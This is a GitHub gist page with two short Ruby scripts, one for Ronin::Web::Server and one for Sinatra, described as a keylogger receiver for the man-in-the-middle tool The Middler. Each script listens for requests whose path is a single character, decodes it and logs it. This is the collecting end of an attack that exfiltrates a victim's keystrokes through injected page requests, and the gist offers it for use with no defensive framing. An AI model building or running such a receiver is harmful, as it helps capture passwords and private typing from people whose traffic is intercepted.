Created
March 23, 2009 09:17
-
-
Save postmodern/83482 to your computer and use it in GitHub Desktop.
A Keylogger receiver for The Middler using Ronin::Web::Server or Sinatra
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
gem 'ronin-web' | |
require 'ronin/web/server' | |
require 'uri' | |
include Ronin | |
Web::Server.start do | |
paths_like(/^\/(.|%[0-9a-fA-F]{1,2})$/) do |env| | |
char = URI.decode(env['PATH_INFO'][1..-1]) | |
puts "got char: #{char.dump}" | |
[200, {:content_type => 'text/css'}, []] | |
end | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'sinatra' | |
get "/:char" do |char| | |
char = URI.decode(char) | |
puts "got char: #{char.dump}" if char.length == 1 | |
"" | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment